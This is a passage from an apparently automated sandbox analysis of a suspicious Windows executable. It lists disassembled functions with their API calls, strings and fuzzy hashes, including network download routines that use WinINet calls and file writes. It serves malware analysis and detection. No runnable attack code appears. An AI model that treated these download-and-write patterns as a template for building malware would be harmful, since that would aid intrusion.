Instruction Fuzzy Hash: B0C127F1E00204ABCB24AF79C841BEA7BB9AF45314F5440BBE4A597381E7388DC6C758

Uniqueness

Uniqueness Score: -1.00%

Function 0224D881, Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0224D903
_free.LIBCMT ref: 0224D927
_free.LIBCMT ref: 0224DAB4
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042A578), ref: 0224DAC6
_free.LIBCMT ref: 0224DC80

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 43ee30c7ba166d1e1025ba4d1c2ab3c94bbe7b0064d6f6931672a8035e95404c
Instruction ID: 9e9566028030a6d352bd3323a8974dd8c217276eb1823359ce5e9387f38521e8
Opcode Fuzzy Hash: 43ee30c7ba166d1e1025ba4d1c2ab3c94bbe7b0064d6f6931672a8035e95404c
Instruction Fuzzy Hash: 40C14B75A242169BDB2DDFF8CC40BAA7BBAAF45314F5440BAD881D724CDF309A06CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00411803, Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00411735), ref: 00411825
GetFileInformationByHandle.KERNEL32(?,?), ref: 0041187F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00411735,?,000000FF,00000000,00000000), ref: 0041190D
__dosmaperr.LIBCMT ref: 00411914
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00411951

Part of subcall function 00411B79: __dosmaperr.LIBCMT ref: 00411BAE

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 16e295c4d619405f19a85019e968ffd2d4bfecc0b5273f9f5da4f21c7d868b2d
Instruction ID: d274835a22ada6365d67a3fd31ba40142e4e5efe742fd0fdd0ace425437cd848
Opcode Fuzzy Hash: 16e295c4d619405f19a85019e968ffd2d4bfecc0b5273f9f5da4f21c7d868b2d
Instruction Fuzzy Hash: 0A416FB5910208AFCB24DFA5DC559EFBBF9EF88300700442EF956D3220E6349985CB24

Uniqueness

Uniqueness Score: -1.00%

Function 02241A53, Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,02241985), ref: 02241A75
GetFileInformationByHandle.KERNEL32(?,?), ref: 02241ACF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,02241985,?,000000FF,00000000,00000000), ref: 02241B5D
__dosmaperr.LIBCMT ref: 02241B64
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 02241BA1

Part of subcall function 02241DC9: __dosmaperr.LIBCMT ref: 02241DFE

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: a23d261a52b5f9b846104edee53f27537c0404e818dce516698b2e32cd5f43d1
Instruction ID: 080cc054c53feb2d5272b2caf564071873ed1050394811d2d46e4fe294726999
Opcode Fuzzy Hash: a23d261a52b5f9b846104edee53f27537c0404e818dce516698b2e32cd5f43d1
Instruction Fuzzy Hash: B0414F75910305AFDB28DFE9DC449AFBBF9EF48300B00452DE85AD3614EB309995CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00405C1B, Relevance: 7.6, APIs: 5, Instructions: 140networkfileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00405C37
InternetReadFile.WININET(?,?,?,?), ref: 00405C48
CloseHandle.KERNEL32(00000000), ref: 00405C53
InternetCloseHandle.WININET(?), ref: 00405C62
InternetCloseHandle.WININET(00000000), ref: 00405C65

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseHandleInternet$File$ReadWrite
String ID:
API String ID: 567989605-0
Opcode ID: 4db9166f19b28e5f5a92ae287efffe36d319b50f9564bf802e3a71a26fc2c97e
Instruction ID: a7605270fcd12d8c15781ecc61888e93a28614b2ee53878b883e1b5fc184c049
Opcode Fuzzy Hash: 4db9166f19b28e5f5a92ae287efffe36d319b50f9564bf802e3a71a26fc2c97e
Instruction Fuzzy Hash: 6C41B371A00108ABEF14DF64DD85AEE7769EF44314F54463AF809B32D1D639EA84CF58

Uniqueness

Uniqueness Score: -1.00%

Function 02235DE0, Relevance: 7.6, APIs: 5, Instructions: 105networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 02235E15
InternetOpenA.WININET(0042BC85,00000000,00000000,00000000,00000000), ref: 02235E2A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 02235E4A
InternetReadFile.WININET(00000000,?,00010000,00010000), ref: 02235E61
CloseHandle.KERNEL32(00000000), ref: 02235EA3

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: Internet$FileOpen$CloseCreateHandleRead
String ID:
API String ID: 2307989922-0
Opcode ID: ce1beb23994ba6cfe60ad75172c2035a9ced062f96f421e070562818efa0cf88
Instruction ID: 297fc64784c444872fe01e7b0fdd6e0aebc75dcc09479f74dbf0a50b5b5304f3
Opcode Fuzzy Hash: ce1beb23994ba6cfe60ad75172c2035a9ced062f96f421e070562818efa0cf88
Instruction Fuzzy Hash: 75319371350208ABEB25CFA4CC85FEE37A9EB48704FA04129F909A61C5CBB5E9918F54

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6C6, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041B6DE

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,004145A3), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(?,?,004145A3), ref: 004154E9

_free.LIBCMT ref: 0041B6F0
_free.LIBCMT ref: 0041B702
_free.LIBCMT ref: 0041B714
_free.LIBCMT ref: 0041B726

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2e475136816e74a22205f3a21d403dd6562cb687a52a92f297be36c8a022ea00
Instruction ID: a39dbec80042cf7ab2af5a54609ca5fcb94fb6c3dd62ab813c31dfe5020b408c
Opcode Fuzzy Hash: 2e475136816e74a22205f3a21d403dd6562cb687a52a92f297be36c8a022ea00
Instruction Fuzzy Hash: 66F04F32600610A78620FB66F8C5DDB77E9EA84351794580BF098D7642CB38FCC186AC

Uniqueness

Uniqueness Score: -1.00%

Function 0224B916, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0224B92E

Part of subcall function 02245711: HeapFree.KERNEL32(00000000,00000000,?,022447F3), ref: 02245727
Part of subcall function 02245711: GetLastError.KERNEL32(?,?,022447F3), ref: 02245739

_free.LIBCMT ref: 0224B940
_free.LIBCMT ref: 0224B952
_free.LIBCMT ref: 0224B964
_free.LIBCMT ref: 0224B976

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2e475136816e74a22205f3a21d403dd6562cb687a52a92f297be36c8a022ea00
Instruction ID: 63124603583f7ffe79a9fc03e8c996cf1c7bc7e7f8eb833d6aaa4901715f40fe
Opcode Fuzzy Hash: 2e475136816e74a22205f3a21d403dd6562cb687a52a92f297be36c8a022ea00
Instruction Fuzzy Hash: 1DF09632A34301E78639FBE9E8C4C5673EAAA147983E50C19F088DB61DCF30F8814E64

Uniqueness

Uniqueness Score: -1.00%

Function 00419D93, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00419F2D

Strings

*?, xrefs: 00419DD6

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: a7ea2927210ddaaeaf889bde27f001d99d629c740ddb3fa362963e888c4f8377
Instruction ID: 0e352be0efe34e277c7e4760dbf0677bf23d989de96f83cd80e8d90098d39d98
Opcode Fuzzy Hash: a7ea2927210ddaaeaf889bde27f001d99d629c740ddb3fa362963e888c4f8377
Instruction Fuzzy Hash: 0B615E75E00219AFCF14CFA9C8915EEFBF5EF48314B24816AE815E7340D779AE818B94

Uniqueness

Uniqueness Score: -1.00%

Function 02249FE3, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0224A17D

Strings

*?, xrefs: 0224A026

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 0a53196b252b46736e61d4d1bcca109f78a400bdedf12c68fddac8ae25f72c85
Instruction ID: 1ffff8ef7606d509016dabbbd235e5c057fd90472f47924ec41b0e1133952a98
Opcode Fuzzy Hash: 0a53196b252b46736e61d4d1bcca109f78a400bdedf12c68fddac8ae25f72c85
Instruction Fuzzy Hash: 53614EB5D502199FCB18CFE8C890AEDFBF5EF48310B248169E855E7304DB75AE418B90

Uniqueness

Uniqueness Score: -1.00%

Function 0223FB50, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0223FB8F
__IsNonwritableInCurrentImage.LIBCMT ref: 0223FC43

Strings

csm, xrefs: 0223FCC1
csm, xrefs: 0223FC2D

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 3480331319-3733052814
Opcode ID: 0c3c2256af72a61df102aaf674b741db4d987c510a88555500926bfe03ab2711
Instruction ID: 263a1bc3fd6dddba3c086e08f14cfe89fdbb6d95c167511e59e839e24fdbd05b
Opcode Fuzzy Hash: 0c3c2256af72a61df102aaf674b741db4d987c510a88555500926bfe03ab2711
Instruction Fuzzy Hash: 7E51F5B0E20309DFCF19DFA8E944B9E7BA6AF44314F14845AE8055F6A9C771DA02CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02232500, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0042BD08,00000000,00000000,00000000,00000000), ref: 022325A1
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 022325B3
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 022325CA

Strings

<, xrefs: 0223277C

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: Internet$Open$FileRead
String ID: <
API String ID: 72386350-4251816714
Opcode ID: 519ad3425170169ec7a3250091affb38a33a4e4d60e286dab4301b69ad61906d
Instruction ID: 9b9d66663b575d9c42eac955ae7dfc33324ad6bc80f908050d7636d672faa788
Opcode Fuzzy Hash: 519ad3425170169ec7a3250091affb38a33a4e4d60e286dab4301b69ad61906d
Instruction Fuzzy Hash: 5441F6B1E20219EBDB19CFA4DC50BEEB77AEF44300F108159E911A7195DB34AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00413D50, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

pa, xrefs: 00413E25, 00413E68
C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, xrefs: 00413D93, 00413D9A, 00413DD0

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe$pa
API String ID: 0-684473242
Opcode ID: 568e59056c634a1779982c0bce5886467a6ccd988ea625ece9d5284e8a734255
Instruction ID: 9682771c9b056e9ecfe8b90a09f19d3fc3ff21ab17bd8dde71222bcf1ffa2253
Opcode Fuzzy Hash: 568e59056c634a1779982c0bce5886467a6ccd988ea625ece9d5284e8a734255
Instruction Fuzzy Hash: E1416E71A00314ABCB219F999C819EFBBB8EF85711F5000BBF50497251D6789B81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 02243FA0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, xrefs: 02243FE3, 02243FEA, 02244020
pa, xrefs: 02244075, 022440B8

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe$pa
API String ID: 0-684473242
Opcode ID: a41690f532066a8b71b9e286dfa568cd4f83670d9d2d2647161a3b7c6b7cbf70
Instruction ID: bb54d12253eedafc36fd5aa7c4aaf4c150d6e9069a1cba7160ecad119b1d5894
Opcode Fuzzy Hash: a41690f532066a8b71b9e286dfa568cd4f83670d9d2d2647161a3b7c6b7cbf70
Instruction Fuzzy Hash: C541A571A20215AFDB2DEFD9DC80EAEBBB9EF84710F500076E40097258DFB19A55CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00416558, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00000105,?,?,?,agA), ref: 00416591
GetCurrentDirectoryW.KERNEL32(00000001,00000000,00000104,00000000,?,?,agA), ref: 004165C4
_free.LIBCMT ref: 004165E5

Strings

agA, xrefs: 0041656D

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory$_free
String ID: agA
API String ID: 2913637552-2637427811
Opcode ID: 26a37445114369c1d8aa249cbf9206f503b71c220dbc8e72620b9acd7afe7fa5
Instruction ID: 9d0f8bc13d9cd8409b4ed1e15322f7ab0248507ce056390ebc8deae956cba42f
Opcode Fuzzy Hash: 26a37445114369c1d8aa249cbf9206f503b71c220dbc8e72620b9acd7afe7fa5
Instruction Fuzzy Hash: 84014C726002147BE720AB21BC89EEB77ADDB84314F52006FF504D7085DE78DEC585A9

Uniqueness

Uniqueness Score: -1.00%

Function 004186CA, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00418751

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 3a33277c20ef2f757225e29764f1ed4dd8dd423544d1de7bd7189e65f71147ea
Instruction ID: 560596ec7e37f14c04316295b7cb4fd2eae0d342fd8a579eee232b68144b6b6c
Opcode Fuzzy Hash: 3a33277c20ef2f757225e29764f1ed4dd8dd423544d1de7bd7189e65f71147ea
Instruction Fuzzy Hash: 7AB10272A102459FDB119F28C8817FFBBE5EF55340F2441AFE8549B341DA3C9982CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0224891A, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 022489A1

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: fa47b440334941d452c142b16a18679f2c4c2bd7d0f43d2425b8a78ef3cdc40c
Instruction ID: 5391cf9e6243848c3d912801da8bf992e17083197c7bc70eaa4e5678980cc4be
Opcode Fuzzy Hash: fa47b440334941d452c142b16a18679f2c4c2bd7d0f43d2425b8a78ef3cdc40c
Instruction Fuzzy Hash: EDB147729316569FDB19CFA8CC807BEBBE5EF45340F1480AAD841EB349DB749901CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02236074, Relevance: 6.2, APIs: 4, Instructions: 247networkfileCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 02236083
HttpSendRequestA.WININET(00000000,00000000,?), ref: 0223612C
InternetReadFile.WININET(00000000,?,000003FF,00000010), ref: 022361BD
InternetReadFile.WININET(00000000,00000000,000003FF,?), ref: 02236244

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: FileHttpInternetReadRequest$OpenSend
String ID:
API String ID: 947651290-0
Opcode ID: 904cc2ce5ff8bf6cee2c7f1abe25be3c3cc71af15eff2d3c8f81a232e55ea554
Instruction ID: 652e99596c9bafd59b0fd48fbc3f1abe9ee54e24d22f2138c1ad711a94aa0288
Opcode Fuzzy Hash: 904cc2ce5ff8bf6cee2c7f1abe25be3c3cc71af15eff2d3c8f81a232e55ea554
Instruction Fuzzy Hash: 9F8108B1A20104AFEB19DFA8CD84BBD7B7EEF85304F504158F810D7299DB35DA818B59

Uniqueness

Uniqueness Score: -1.00%

Function 0042051E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004205EE
_free.LIBCMT ref: 00420617
SetEndOfFile.KERNEL32(00000000,0041CA05,00000000,?,?,?,?,?,?,?,?,0041CA05,?,00000000), ref: 00420649
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041CA05,?,00000000,?,?,?,?,?), ref: 00420665

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: fe3b5957c6c2af7f62df8148c82574c5733b1df3c93794585147ec112902f231
Instruction ID: 960fb58cf6f23020af512c85160b1bf2a67ab43dcb0f58da72c25fd8b3413fdb
Opcode Fuzzy Hash: fe3b5957c6c2af7f62df8148c82574c5733b1df3c93794585147ec112902f231
Instruction Fuzzy Hash: 6A41F872B00215ABCB11AB6ADC46BDF3AE5EF84324F540117F514D72A3D67CD8A08B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0225076E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0225083E
_free.LIBCMT ref: 02250867
SetEndOfFile.KERNEL32(00000000,0224CC55,00000000,022455AE,?,?,?,?,?,?,?,0224CC55,022455AE,00000000), ref: 02250899
GetLastError.KERNEL32(?,?,?,?,?,?,?,0224CC55,022455AE,00000000,?,?,?,?,00000000), ref: 022508B5

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: fe3b5957c6c2af7f62df8148c82574c5733b1df3c93794585147ec112902f231
Instruction ID: 084fe307c18941cdb933f42c657df510249eced1b5f2967559755643ac9304df
Opcode Fuzzy Hash: fe3b5957c6c2af7f62df8148c82574c5733b1df3c93794585147ec112902f231
Instruction Fuzzy Hash: B0410A329307159BDB156BF98C49F9E7776AF48324F544210FC249B298EB38CA508FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00403EE0, Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00403F36

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 19c065cad1cdc5bb946c3f894a42a7946f3f9623734a4f3511bb638452bc52e5
Instruction ID: b5cf2b7309114b8609beb7503341a49d43379c7fc9661a5a7bf876c8a635a089
Opcode Fuzzy Hash: 19c065cad1cdc5bb946c3f894a42a7946f3f9623734a4f3511bb638452bc52e5
Instruction Fuzzy Hash: 31312770D0021897DB20EF68DC4A7DEBB75EF41315F40427AE900732C1EB794A858BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00419CC4, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00411547: _free.LIBCMT ref: 00411555

Part of subcall function 0041AC9B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00420090,?,00000000,00000000), ref: 0041AD3D

GetLastError.KERNEL32 ref: 00419D2C
__dosmaperr.LIBCMT ref: 00419D33
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00419D72
__dosmaperr.LIBCMT ref: 00419D79

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 26f92bff44b00d053d218df772f4a12764ca526556509581c6e6ac8d3fe419dc
Instruction ID: 4d93f7510ca8fb492935d04f0bce4db79238aaac4d275d244a80cacbd3f4cc59
Opcode Fuzzy Hash: 26f92bff44b00d053d218df772f4a12764ca526556509581c6e6ac8d3fe419dc
Instruction Fuzzy Hash: 96212B712002057FDB20AF66DC809EBBBACEF44368710461EF919C7251E738ECD08BA9

Uniqueness

Uniqueness Score: -1.00%

Function 02249F14, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 02241797: _free.LIBCMT ref: 022417A5

Part of subcall function 0224AEEB: WideCharToMultiByte.KERNEL32(02233D40,00000000,0042CEB8,00000000,02233D40,02233D40,02247EF7,?,0042CEB8,?,00000000,?,02247C66,0000FDE9,00000000,?), ref: 0224AF8D

GetLastError.KERNEL32 ref: 02249F7C
__dosmaperr.LIBCMT ref: 02249F83
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 02249FC2
__dosmaperr.LIBCMT ref: 02249FC9

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: f624358d235691ce9a0a371fa08fb7bf6c8004fea39919ec22af2019dff57810
Instruction ID: 058cdd1e74e1ad5341e5e7e0b7f55b0dfc2d9348be49af7633a7c0d3cfd14b58
Opcode Fuzzy Hash: f624358d235691ce9a0a371fa08fb7bf6c8004fea39919ec22af2019dff57810
Instruction Fuzzy Hash: 3D21C871624316AF9B28AFE58C80D6BB7AEEF003647018724F81997158DF70EC918B50

Uniqueness

Uniqueness Score: -1.00%

Function 022462BC, Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a029b1c59fa74e428a0cfa684141dabc8af3abb85c93389627eb59dbd1bec490
Instruction ID: 9d34a2883e993f505e50a87890118a2d7e18622b994e2152342b7244fd238cae
Opcode Fuzzy Hash: a029b1c59fa74e428a0cfa684141dabc8af3abb85c93389627eb59dbd1bec490
Instruction Fuzzy Hash: 2C21D871B21661ABCB359BA49D40B3A7A6CAF03FA8F560121EC25AF194DF70D800C5E4

Uniqueness

Uniqueness Score: -1.00%

Function 00415DB2, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004114C5,?,?,?,?,00412132,?), ref: 00415DB7
_free.LIBCMT ref: 00415E14
_free.LIBCMT ref: 00415E4A
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,004114C5,?,?,?,?,00412132,?), ref: 00415E55

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: ce625cf24dc58ea9de07f82b5e61b0c3359b06124770d73b9dea0357b3156acb
Instruction ID: 21afd909f4b194fd6210441988fb04bb61b69f96b30193ecae22d5dba2614194
Opcode Fuzzy Hash: ce625cf24dc58ea9de07f82b5e61b0c3359b06124770d73b9dea0357b3156acb
Instruction Fuzzy Hash: ED11EB31700A11EA9620377A6C85EEB255587C0779776413FF538862D1ED7D8CD7412C

Uniqueness

Uniqueness Score: -1.00%

Function 02246002, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,02241715,?,?,?,?,02242382,?), ref: 02246007
_free.LIBCMT ref: 02246064
_free.LIBCMT ref: 0224609A
SetLastError.KERNEL32(00000000,0042E0F8,000000FF,?,?,02241715,?,?,?,?,02242382,?), ref: 022460A5

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: ce625cf24dc58ea9de07f82b5e61b0c3359b06124770d73b9dea0357b3156acb
Instruction ID: a58d276d2bcc09e6d52c652d9e4a6651c0dfc0385487486caf41998514aee2f2
Opcode Fuzzy Hash: ce625cf24dc58ea9de07f82b5e61b0c3359b06124770d73b9dea0357b3156acb
Instruction Fuzzy Hash: 89110632730722ABD63967F55C84E7B251FABC37B5B750234F228861ECEEB19C168524

Uniqueness

Uniqueness Score: -1.00%

Function 00415F09, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004120CC,004154E7,?,?,004145A3), ref: 00415F0E
_free.LIBCMT ref: 00415F6B
_free.LIBCMT ref: 00415FA1
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,004120CC,004154E7,?,?,004145A3), ref: 00415FAC

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7f3e5a89be83327d4d1bd293e7eec76fc70c2beab19e1d1812f8c083c576c97a
Instruction ID: d0dcc7bb336abb701bcc015160c95cfd1d415a4e49015081c077152140e836e3
Opcode Fuzzy Hash: 7f3e5a89be83327d4d1bd293e7eec76fc70c2beab19e1d1812f8c083c576c97a
Instruction Fuzzy Hash: DA112C31304911EAE610267A5C81EEB2659CBC0378776023EF438822D1EE7DCCD7812C

Uniqueness

Uniqueness Score: -1.00%

Function 02246159, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0224231C,02245737,?,?,022447F3), ref: 0224615E
_free.LIBCMT ref: 022461BB
_free.LIBCMT ref: 022461F1
SetLastError.KERNEL32(00000000,0042E0F8,000000FF,?,?,0224231C,02245737,?,?,022447F3), ref: 022461FC

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7f3e5a89be83327d4d1bd293e7eec76fc70c2beab19e1d1812f8c083c576c97a
Instruction ID: dbcb32f41b7d93edefa984502006a1b0ef88357efe9ee5e17d8d29d76144604a
Opcode Fuzzy Hash: 7f3e5a89be83327d4d1bd293e7eec76fc70c2beab19e1d1812f8c083c576c97a
Instruction Fuzzy Hash: F311E932B207126BD62967F99C80E7B255F9BC3775B750234F12C832EDEEB188174524

Uniqueness

Uniqueness Score: -1.00%

Function 02240264, Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

